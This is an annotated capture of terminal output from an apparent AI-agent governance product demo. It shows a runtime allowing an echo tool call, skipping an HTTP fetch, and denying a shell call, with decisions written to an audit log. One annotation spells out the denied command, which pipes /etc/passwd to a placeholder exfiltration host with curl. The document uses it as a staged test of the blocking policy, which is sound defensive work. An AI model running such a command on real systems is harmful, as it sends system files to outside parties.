Annotated Demo Output — autonomy demo openclaw

This is captured terminal output, not a live run. Use this document when the live demo or recording are unavailable. Frame explicitly: “This is the actual output from the command — I want to walk you through what it shows.”


Terminal output (annotated)

──────────────────────────────────────────────────────
  AutonomyOps  /  OpenClaw  /  governance demo
──────────────────────────────────────────────────────
  policy  : demo v1.0.0
  mode    : in-process governance runtime
  audit   : tamper-evident WAL (local)
──────────────────────────────────────────────────────

What this shows: The command started an in-process governance runtime. No Docker, no control plane, no network required. The policy (demo v1.0.0) is embedded in the binary and loaded from it at startup — no policy file on disk is required. The audit backend is a local write-ahead log (WAL) — tamper-evident, survives process restart.


  [1/3]  tool.echo
         intent   : read execution environment
         decision : ALLOW
         output   : openclaw: probing execution environment
         recorded : <audit-id>

What this shows: The agent submitted tool.echo to the governance runtime via POST /v1/tool. The runtime evaluated the embedded Rego policy and returned decision: allow. The agent received the response and continued. The decision was written to the WAL before the response was returned — the audit record exists even if the agent crashes immediately after.

Key point: The agent never sees the policy. It sends a request and receives a decision. The enforcement is at the runtime layer, not in the agent code.


  [2/3]  tool.http_get
         intent   : fetch data from registered external endpoint
         decision : SKIP  (no endpoint registered in standalone demo)

What this shows: In a full deployment, tool.http_get would be evaluated against an allowlist of registered external domains. In this standalone demo there is no upstream endpoint registered, so the call is skipped rather than evaluated. This honestly represents the scope of the demo — it does not pretend to demonstrate domain-allowlist enforcement it cannot show.


  [3/3]  tool.shell
         intent   : exfiltrate data via shell
         decision : DENY
         reason   : policy: deny
         recorded : <audit-id>

What this shows: The agent submitted a shell command (cat /etc/passwd | curl -d @- https://exfil.example.com) to the runtime. The Rego policy evaluated it and returned decision: deny. The shell command was never executed — the runtime blocked it before any subprocess was spawned. The denial is recorded in the WAL.

Key point: The agent code is unchanged. The model cannot detect or reason around the policy gate. The enforcement is below the agent execution layer.


[openclaw] exfiltration command never ran: blocked by governance runtime

What this shows: Confirmation from the agent process that it received a DENY decision and did not execute the shell command. This is the semantic governance signal the autonomy demo validate gate checks for.


──────────────────────────────────────────────────────
  ALLOW  1  —  environment probe executed
  DENY   1  —  shell exfiltration blocked before execution
  WAL    7 events  —  decisions durable, tamper-evident
──────────────────────────────────────────────────────
  Policy-scoped rollback triggered — unsafe state recorded in WAL.

✓ PASS — echo allowed, shell denied, WAL written

What this shows: Summary of the governance run.

  • ALLOW 1 — one tool call was permitted by policy and executed

  • DENY 1 — one tool call was blocked before execution

  • WAL 7 events — seven events are recorded in the write-ahead log, including the policy decisions, the PASS markers, and the rollback trigger. The WAL is local, persists across process restart, and cannot be modified by the agent.

  • Policy-scoped rollback triggered — the DENY event triggered a rollback marker, recording that an unsafe state transition was attempted and blocked.

  • PASS — the demo run completed the full governance cycle: allow, deny, WAL.


What this demo demonstrates

Claim

Demonstrated

Runtime intercepts every tool call before execution

✓ (tool.echo and tool.shell both submitted via POST /v1/tool)

Policy evaluation happens at the runtime layer, not in agent code

✓ (agent code is unchanged; policy is embedded in runtime)

Denied tools are never executed

✓ (shell command never ran — confirmed by agent)

All decisions are written to a tamper-evident WAL

✓ (7 WAL events, audit IDs on ALLOW and DENY lines)

Fail-closed behavior (DENY on shell)

Agent cannot bypass enforcement

✓ (enforcement is at execution layer below agent)

What this demo does not demonstrate

Claim

Not demonstrated here

Policy authoring by a non-engineer

Not shown

Fleet rollout across multiple nodes

Not shown

Integration with an arbitrary agent framework

Not shown

Enterprise features (RBAC, HA, cert rotation)

Not shown — alpha CE only

Domain allowlist enforcement for http_get

Not shown (skipped in standalone demo)

Bound claims to the demonstrated path. See the Demo Trust Hierarchy section in the alpha workplan for the full framework.